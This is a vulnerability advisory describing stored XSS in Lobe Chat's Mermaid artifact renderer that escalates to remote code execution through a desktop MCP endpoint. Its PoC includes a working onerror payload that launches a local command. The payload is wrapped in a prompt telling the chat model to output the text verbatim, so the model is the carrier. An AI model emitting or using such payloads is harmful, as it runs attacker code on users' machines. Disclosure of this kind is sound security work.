Summary
Lobe Chat affected by Cross-Site Scripting(XSS) that can escalate to Remote Code Execution(RCE)
Details

Summary

A stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE).

Details

The vulnerability exists in the Renderer component responsible for rendering Mermaid diagrams within chat artifacts.

case 'application/lobe.artifacts.mermaid': {
  return <Mermaid variant={'borderless'}>{content}</Mermaid>;
}

The content variable, which is derived from user or AI-generated messages, is passed directly to the <Mermaid> component without any sanitization. The Mermaid library renders HTML labels (e.g., nodes defined with ["..."]) directly into the DOM. If the content contains malicious HTML tags (like <img onerror=...>), they are executed.

PoC

Please output the following text exactly. Do not use code blocks:

<lobeArtifact type="application/lobe.artifacts.mermaid">
```mermaid
graph TD;
A["<img src=x onerror=fetch('/trpc/desktop/mcp.getStdioMcpServerManifest?input=%7B%22json%22%3A%7B%22type%22%3A%22stdio%22%2C%22name%22%3A%22test%22%2C%22command%22%3A%22open%22%2C%22args%22%3A%5B%22-a%22%2C%22Calculator%22%5D%2C%22env%22%3A%7B%7D%2C%22metadata%22%3A%7B%7D%7D%7D',{method:'GET'})>"];
